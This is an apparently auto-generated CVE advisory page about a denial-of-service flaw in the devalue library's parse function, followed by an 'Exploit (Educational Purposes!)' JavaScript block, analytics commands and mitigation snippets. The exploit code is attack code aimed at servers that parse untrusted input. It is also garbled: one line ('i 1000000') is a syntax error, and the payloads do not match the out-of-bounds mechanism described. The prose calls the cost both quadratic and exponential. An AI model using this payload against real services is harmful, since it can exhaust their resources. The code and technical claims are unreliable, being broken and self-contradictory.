Listen to this Post
devalue.parse is a JavaScript deserialization function in the sveltejs/devalue library, designed to reconstruct complex values from strings when JSON.parse is insufficient. Prior to version 5.9.2, the parser fails to reject out-of-bounds indices that are greater than or equal to values.length in src/parse.js. This missing validation allows a specially crafted payload to exploit the internal array handling logic of the parser. When devalue.parse encounters an out-of-bounds index, instead of throwing an error, it can be tricked into alternating between different internal array representations. Each alternation forces the parser to re-evaluate and restructure previously processed elements. As the payload grows, this behavior produces work that is quadratic with respect to payload size. An attacker can send a small but carefully constructed input that causes the parser to repeatedly convert between array forms. The CPU time consumed grows exponentially relative to the input length. Memory usage may also spike as intermediate representations accumulate. Applications that call devalue.parse with untrusted data are vulnerable to this algorithmic complexity attack. In server-side environments, this can lead to complete resource exhaustion and denial of service. The attack requires no authentication and can be triggered remotely via a single malformed request. The vulnerability is classified as CWE-20, improper input validation. The CVSS v4 score is 6.9, indicating medium severity with a remote attack vector and low attack complexity. The bug is fixed in [email protected], where out-of-bounds indices are properly rejected before array manipulation occurs. Applications using SvelteKit remote functions are particularly at risk because parameters are run through devalue.parse automatically. No public exploit code has been observed in the wild, but the vulnerability is remotely exploitable and automatable. Administrators should audit all endpoints that deserialize user-controlled input using devalue. Upgrading to version 5.9.2 or later eliminates the quadratic work behavior. Until patching is possible, input size limits and rate limiting can reduce exposure.
DailyCVE Form:
Platform: Svelte devalue
Version: 5.9.2
Vulnerability : DoS
Severity: Moderate
date: 2026-08-27
Prediction: 2026-09-02
What Undercode Say:
Analytics:
npm list devalue
const devalue = require('devalue');
const payload = '[' + '1,'.repeat(10000) + '1]';
const malicious = '{"type":"array","value":' + payload + '}';
devalue.parse(malicious);
grep -r "devalue.parse" src/ --include=".js" --include=".ts"
Exploit: (Educational Purposes!)
const devalue = require('devalue');
function generateQuadraticPayload(size) {
const indices = [];
for (let i = 0; i < size; i++) {
indices.push(i 1000000);
}
return JSON.stringify({
type: "array",
value: indices.map(i => ({ type: "number", value: i }))
});
}
const payload = generateQuadraticPayload(50000);
const start = Date.now();
try {
devalue.parse(payload);
} catch (e) {
console.log('Payload processed in', Date.now() - start, 'ms');
}
time node -e "require('devalue').parse(require('fs').readFileSync('payload.json','utf8'))"
Protection:
npm install [email protected]
const devalue = require('devalue');
const MAX_INPUT_SIZE = 10000;
function safeParse(input) {
if (input.length > MAX_INPUT_SIZE) {
throw new Error('Input exceeds maximum allowed size');
}
return devalue.parse(input);
}
limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s; limit_req zone=api burst=20 nodelay;
audit-ci --moderate
Impact:
Denial of service through CPU exhaustion. Quadratic algorithmic complexity triggered by malformed array indices. Server-side rendering pipelines blocked. Resource starvation affects all concurrent users.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
